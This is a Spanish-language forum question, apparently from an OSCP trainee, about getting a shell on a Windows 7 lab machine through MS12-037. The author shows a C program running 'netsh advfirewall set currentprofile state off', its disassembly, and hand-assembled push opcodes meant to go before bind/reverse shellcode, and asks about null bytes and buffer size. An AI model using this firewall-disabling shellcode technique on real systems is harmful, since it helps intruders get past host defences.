Como parte de la capacitación de mi OSCP, se supone que debo obtener un shell en una máquina Win7 utilizando la vulnerabilidad del navegador (MS12-037) con el firewall de Windows activado.
Tengo una idea, pero me cuesta trabajo aplicarlo.
Lo que estoy tratando de hacer es insertar un código que apague el firewall antes de ejecutar el Shellcode.
Primero escribí un programa en C que apaga el firewall:
#include "stdlib.h"
int main ()
{
int i;
i=system ("netsh advfirewall set currentprofile state off");
return 0;
}
Luego compilé el programa y lo desarmé, y obtuve esto:
004013a0 <_main>:
4013a0: 8d 4c 24 04 lea ecx,[esp+0x4]
4013a4: 83 e4 f0 and esp,0xfffffff0
4013a7: ff 71 fc push DWORD PTR [ecx-0x4]
4013aa: 55 push ebp
4013ab: 89 e5 mov ebp,esp
4013ad: 51 push ecx
4013ae: 83 ec 14 sub esp,0x14
4013b1: e8 6a ff ff ff call 401320 <___main>
4013b6: 83 ec 0c sub esp,0xc
4013b9: 68 24 30 40 00 push 0x403024
4013be: e8 c5 01 00 00 call 401588 <_system>
4013c3: 83 c4 10 add esp,0x10
4013c6: 89 45 f8 mov DWORD PTR [ebp-0x8],eax
4013c9: b8 00 00 00 00 mov eax,0x0
4013ce: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4]
4013d1: c9 leave
4013d2: 8d 61 fc lea esp,[ecx-0x4]
4013d5: c3 ret
4013d6: 90 nop
4013d7: 90 nop
La parte que me interesa es esta:
4013b6: 83 ec 0c sub esp,0xc
4013b9: 68 24 30 40 00 push 0x403024
4013be: e8 c5 01 00 00 call 401588 <_system>
4013c3: 83 c4 10 add esp,0x10
Aquí es donde el programa asigna espacio para la dirección de la cadena netsh advfirewall set currentprofile state off
en la pila, y la pasa a system()
y limpia la pila posteriormente.
Quiero insertar estas instrucciones antes de mi Shellcode para que desactiven el firewall antes de que comience la shell de enlace / reversa. Dado que el comando en el programa C está ubicado en la memoria, el programa tuvo que empujar su dirección a la pila, no a la cadena real.
Para hacer que el exploit funcione, debo empujar la cadena real en la pila y pasarla a system()
, así que usé Corlean's para obtener las instrucciones que empujarán la cadena real a la pila.
String length : 46
Opcodes to push this string onto the stack :
"\x68\x66\x66\x20\x00" //PUSH 0x00206666
"\x68\x74\x65\x20\x6f" //PUSH 0x6f206574
"\x68\x20\x73\x74\x61" //PUSH 0x61747320
"\x68\x66\x69\x6c\x65" //PUSH 0x656c6966
"\x68\x74\x70\x72\x6f" //PUSH 0x6f727074
"\x68\x72\x72\x65\x6e" //PUSH 0x6e657272
"\x68\x74\x20\x63\x75" //PUSH 0x75632074
"\x68\x6c\x20\x73\x65" //PUSH 0x6573206c
"\x68\x65\x77\x61\x6c" //PUSH 0x6c617765
"\x68\x76\x66\x69\x72" //PUSH 0x72696676
"\x68\x68\x20\x61\x64" //PUSH 0x64612068
"\x68\x6e\x65\x74\x73" //PUSH 0x7374656e
Así que ahora necesito asignar espacio para esta cadena en la pila
\x83\xEC\x41 \sub esp,65
llame a system()
\xe8\xc5\x01\x00\x00 call 401588
Luego limpia la pila
\x83\xC4\x41 add esp,byte +0x41
Tengo dos problemas aquí:
-
Las instrucciones que estoy usando contienen caracteres incorrectos "00"
-
el tamaño total de las modificaciones más el código de shell, excede el tamaño del búfer en el exploit original
Así que mis preguntas son:
-
¿Existe una solución a los problemas mencionados anteriormente?
-
¿Esta forma de resolver el problema es correcta / factible?
-
¿Hay mejores maneras de manejar esto?